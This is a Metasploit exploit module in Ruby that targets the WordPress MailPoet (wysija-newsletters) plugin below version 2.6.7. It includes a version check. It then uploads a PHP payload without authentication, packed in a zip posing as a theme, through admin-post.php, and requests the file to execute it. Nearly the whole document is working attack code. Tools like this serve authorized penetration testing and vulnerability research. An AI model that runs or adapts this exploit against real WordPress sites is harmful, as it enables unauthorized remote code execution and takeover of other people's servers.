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require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress MailPoet (wysija-newsletters) Unauthenticated file Upload',
'Description' => %q{
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.7
is vulnerable to an unauthenticated file upload. The exploits uses the upload Theme
functionality to upload a zip file containing the payload. The plugin used the
admin_init hook without knowning the hook is also executed for unauthenticated
users when calling the right URL.
},
'Author' =>
[
'Marc-Alexandre Montpas',
'Christian Mehlmauer'
],
'License' => MSF_LICENSE,
'References' =>
[
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['wysija-newsletters < 2.6.7', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 1 2014'))
end
def create_zip_file(theme_name, payload_name)
content = {
File.join(theme_name, 'style.css') => '',
File.join(theme_name, payload_name) => payload.encoded
}
zip_file = Rex::Zip::Archive.new
content.each_pair do |name, content|
zip_file.add_file(name, content)
end
zip_file.pack
end
def check
readme_url = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wysija-newsletters', 'readme.txt')
res = send_request_cgi({
'uri' => readme_url,
'method' => 'GET'
})
if res.nil? || res.code != 200
return Msf::Exploit::CheckCode::Unknown
end
version = res.body[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
if version.nil?
return Msf::Exploit::CheckCode::Detected
end
print_status("#{peer} - Found version #{version} of the plugin")
if Gem::Version.new(version) < Gem::Version.new('2.6.7')
return Msf::Exploit::CheckCode::Appears
else
return Msf::Exploit::CheckCode::Safe
end
end
def exploit
theme_name = rand_text_alpha(10)
payload_name = "#{rand_text_alpha(10)}.php"
zip_content = create_zip_file(theme_name, payload_name)
uri = normalize_uri(target_uri.path, 'wp-admin', 'admin-post.php')
data = Rex::MIME::Message.new
data.add_part(zip_content, 'application/x-zip-compressed', 'binary', "form-data; name=\"my-theme\"; filename=\"#{rand_text_alpha(5)}.zip\"")
data.add_part('on', nil, nil, 'form-data; name="overwriteexistingtheme"')
data.add_part('themeupload', nil, nil, 'form-data; name="action"')
data.add_part('Upload', nil, nil, 'form-data; name="submitter"')
post_data = data.to_s
payload_uri = normalize_uri(target_uri.path, 'wp-content', 'uploads', 'wysija', 'themes', theme_name, payload_name)
print_status("#{peer} - Uploading payload to #{payload_uri}")
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'vars_get' => { 'page' => 'wysija_campaigns', 'action' => 'themes' },
'data' => post_data
})
if res.nil? || res.code != 302 || res.headers['Location'] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
register_files_for_cleanup('style.css', payload_name)
print_warning("#{peer} - The theme folder #{theme_name} can not be removed. Please delete it manually.")
print_status("#{peer} - Executing payload #{payload_uri}")
res = send_request_cgi({
'uri' => payload_uri,
'method' => 'GET'
})
end
end
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